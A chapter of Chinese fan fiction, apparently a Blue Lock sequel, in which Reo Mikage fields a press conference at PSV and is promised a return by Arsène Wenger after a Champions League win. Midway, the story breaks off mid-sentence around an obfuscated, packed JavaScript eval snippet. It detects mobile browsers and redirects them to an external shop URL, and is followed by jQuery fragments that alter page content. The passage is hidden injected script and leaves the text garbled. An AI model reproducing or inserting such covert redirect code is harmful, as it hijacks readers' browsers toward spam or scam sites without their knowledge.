58.需要你

作品:《【蓝锁】出走王子后日谈

    新赛季平稳度过,转眼又是十二月。


    在伦敦,莱昂·科内茨正对着手机屏幕那头的玲王叫苦不迭。身后是训练基地的理疗室,而他脸上写满了疲惫。“凭什么?告诉我凭什么英超就没有冬歇期?”他烦躁地揉着发紧的小腿肌肉,“十二月的赛程简直是谋杀!一周三赛谁能受得了……”


    他近几场发挥得一塌糊涂,媒体的批评声已隐约可闻。而御影玲王这边相对要顺利一些,尽管他不得不花些精力去处理更衣室的新变化。球队主力中场扬·范德萨伤愈归队了,这位曾在玲王初来乍到时给予过关键支持的财迷,在漫长的康复期后惊觉更衣室早已悄然变天。


    范德萨不禁后悔自己当时因为贪心相信了这个日本人的哄骗,如此是引狼入室了。这家伙已经与大部分队友建立起了默契的连接,甚至赢得了教练组更深的信任。一套以玲王的组织调度为核心的攻防体系已然成型,运转流畅。


    他懊悔了好一阵,玲王却是松了口气 。范德萨的虎视眈眈固然带给他压力,但比起一年前初来乍到时的孤立无援与赤裸裸的排挤,眼前的局面已好上太多。


    “听起来你那边也不算轻松。”莱昂在电话那头嘟囔。


    “对吧,老样子。”他心不在焉。


    “Mikage选手这个赛季再次选择留在埃因霍温是出于怎样的考虑呢?毕竟以你上赛季的表现,夏天不乏其他邀约。是因为觉得球衣很好看吗?”


    记者招待会的灯光有些晃眼,荷兰本地记者带着促狭的笑意抛出问题,御影玲王用毛巾擦拭着湿漉漉的头发。这是个轻松的开场,却也暗藏机锋。


    “哦!”他做出一个夸张的恍然表情,“球衣模特这个头衔恐怕已经太久没人提起了。提醒一下这位媒体朋友,新闻人追踪热点也要与时俱进才行啊。”


    这善意的玩笑引发了一阵笑声,玲王知道把气氛把控到什么程度是最合适的,知道说些什么掩饰自己的心。他说:“你知道为什么吗?我发现我在红白球队踢球的时候会很厉害。”


    “红白色?”记者敏锐地捕捉到了关键词,眼睛一亮,立刻跟进拱火,“这听起来像是个明确的信号?是在暗示伦敦的某家俱乐部在冬季窗口有所行动吗?”


    哈哈,恐怕有人要紧张了。御影玲王无意搞僵与PSV的关系,毕竟他现在过得还算舒心。他露出个恶作剧得逞般的狡黠笑容,竖起一根手指在唇边轻轻摇了摇。


    “万一我指的红白是日本呢?”他眨了眨眼,提高了些许音量,“嗨!绘心先生!您正在看吗?向您问好——鞠躬。”他对着空气装模作样地行了个礼,又是一片欢笑。这下没人再纠缠他那些不想回答的问题了。


    尽管御影玲王很享受这种挑拨情绪,带动风向的掌控感,但是不可否认的是,刚才记者的话确实让他额头渗汗。


    “咳咳!咳——!”


    与此同时,远在东京的绘心甚八猛地从泡面碗前抬起头,被一口热汤呛得剧烈咳嗽起来,眼镜片上瞬间蒙上一层雾气。旁边新来的助理吓了一跳,赶忙递上纸巾和水:“绘心先生!您没事吧?”


    绘心甚八一把抓过纸巾胡乱擦了擦嘴和眼镜,重新戴好,盯着屏幕上那个紫发男孩。他皮笑肉不笑:“这小子是拿我挡枪呢。”


    助理看着屏幕上备受瞩目的海外新星,又看看自家表情不善的主教练,小声嘀咕:“哇,御影选手还真是和传闻中一样狂妄呢……他是真的不怕进不了大名单。”


    “他怕什么。”绘心慢条斯理地搅动着碗里已经有点发胀的泡面,“毕竟是我们需要十四号。”


    助理愣了一下试图理解这句一百年内没人懂的话,随即点头说明白明白。他明白个什么呢?他想,我就是一个临时工,做好分内事就好啦。


    十二月的一个周三,欧冠小组赛最后一个主场。PSV3-1取胜,稳居小组头名出线。御影玲王踢满全场,两次助攻,调度从容,赛后评分全场最高。


    他像往常一样,在混合采访区打着太极应对媒体,走回更衣室的路上,体能教练拍了拍他的肩,语气随意:“踢得不错。哦对了,刚才工作人员说看到阿尔塞纳·温格在主席包厢看球。你邀请了他吗?”


    玲王面色如常,脚步却慢了下来:“温格先生一个人吗?还是带了他的助教?”


    “好像没有其他人。比赛结束就直接离开了,没来后台。”


    玲王点了点头道了声谢,继续走向更衣室,他甚至和擦肩而过的队友开了句玩笑,但是脑子里乱得很。更衣室里嘈杂喧闹,庆祝着晋级。达恩大声嚷嚷着要去喝一杯,玲王配合地笑着接受队友的拍打祝贺,心思早就与周遭的欢腾隔绝开来。


    他无法平静,温格的到来绝非偶然。在这个赛季过半冬窗即将开启的节点,在PSV确定欧冠淘汰赛资格的夜晚,其意味不言自明。


    他必须见到阿尔塞纳,现在。


    玲王找了个借口不再参与更衣室的后续庆祝,抓起外套和背包冲出了更衣室。他避开还有零星记者和球迷的主通道,从工作人员区域绕出球场。


    冷风扑面而来,让他发热的头脑稍微清醒了一些。他一边快步走向停车场方向,一边目光急扫。就在通往贵宾停车场的那条小径尽头,一个略显清瘦的穿着大衣的身影正要拉开车门。


    “温格先生!”玲王喊了一声,加快脚步跑过去。


    阿尔塞纳·温格转过身。路灯的光晕勾勒出他比记忆中更添霜色的白发,他的面容依旧儒雅,但眉宇间镌刻着更深的疲惫。上赛季阿森纳联赛战绩挣扎,赛季末的帅位风波虽已平息,但显然给这位传奇教头留下了痕迹。然而当他看到跑近的玲王时,那双睿智的眼睛里还是浮现出温和的笑意。


    “好久不见,Reo。”温格叫他的名字,声音一如既往的带着令人安心的力量,“恭喜,一场漂亮的胜利。你的表现很成熟。”


    玲王在距离他几步远的地方停住,微微喘着气,冬夜的寒气在他面前凝成白雾。他有很多话想问,有很多情况想汇报,有很多关于未来的试探想说出口,但最终全都堵在了喉咙里。他只是看着温格,胸口起伏。


    温格安静地打量了他片刻,脸上的笑意加深了些,露出了然于心的神情。


    “我还以为经过这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019190|191326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一年多的锻炼,你已经能对任何事情都保持平静了呢。”


    “您来了,我还怎么继续平静下去呢?”玲王苦笑。


    温格看着眼前这个年轻人,完全确信对方是会为了未得之物着魔的那种孩子,这大概是一件好事。他主动走上前去轻轻拍了拍玲王的肩膀:“你成长得很好,Reo,比我想象的还要快。埃因霍温是个好地方,它给了你需要的比赛时间和压力。我看得出来你在这里建立了一些重要的东西。”


    玲王站在冷风里,脑海中盘旋着那个挥之不去却又无法问出口的念头:他是专程来看我的吗?这想法让他心头泛起一阵古怪的扭捏。他绝不会问的,御影玲王的骄傲不允许他显得如此渴求关注。可偏偏,那股孩子气的冲动在胸腔里左冲右突。


    “我是为了看你的比赛而来的,Reo。”温格竟然先一步读到他心中所想,“其实更早些时候,夏窗的时候,我就该和你谈谈。但是你知道的……焦头烂额。”


    这罕见的流露疲态的语气令玲王感到惊讶,那点埋怨立刻烟消云散了。他脱口而出:“还是财政问题吗?”话一出口,他又有些懊悔,这显得他过于探究俱乐部的内部事务了。可温格只是点了点头,没有详述。


    “我会让他们无法拒绝的。下个赛季。” 说完,他紧盯着温格,像急于展示自己獠牙的幼兽。


    “我之所以在冬窗这个节点来找你,而不是等到赛季末,就是为了……”


    “打破我的某种幻想?”


    “也可以这么说。” 温格并未因他的打断而不悦,反而微微颔首接受了这个略微带刺的说法。


    “但我更希望的是你能彻底放下杂念,心无旁骛地为PSV踢完这个赛季。”温格的大衣下摆被从球场方向刮来的夜风猛地卷起,猎猎作响,不轻不重地扫过玲王的小腿,“毕竟,来年夏窗我会把你带回去。”


    “当然了,如果你那时候还愿意的话。”他微笑。


    御影玲王感到胸腔里被困住的鸟正疯狂撞击着肋骨。他知道温格从来不会许下自己无法兑现的承诺,可如今却把话说得这么死,这是策略吗?因为球队这个位置缺人,怕我被其他俱乐部抢走,先稳住我?


    他惊讶于自己此刻思维的理性和务实,如今倒是比一年前那个感性的自己更像一个纯粹的职业人了。


    我会好好考虑的,那时候再说吧,明年我会给您答复……理性尖叫着命令他说点什么漂亮话先搪塞过去,就像他同那些难缠的记者周旋那样。然而在长者那双能洞悉一切的眼睛面前,保留余地或者含糊其词都像是一种可耻的背叛。他怎么能对这个人说再考虑考虑呢?


    “我会的,教授。” 他省略了一切修饰,交出自己的全部筹码,“我比任何人都要更期待那一天。”


    温格缓缓张开了双臂,在冬夜寒风中沉默地召唤,于是球员拥抱了他的教练。尽管玲王刚结束比赛,来不及换掉PSV的球衣就追了出来,但温格毫不在意。他收拢手臂,仿佛在安抚一匹剧烈奔跑后仍在颤抖的年轻赛马。


    “去吧,”温格轻拍年轻人的后背,“好好完成你的赛季。”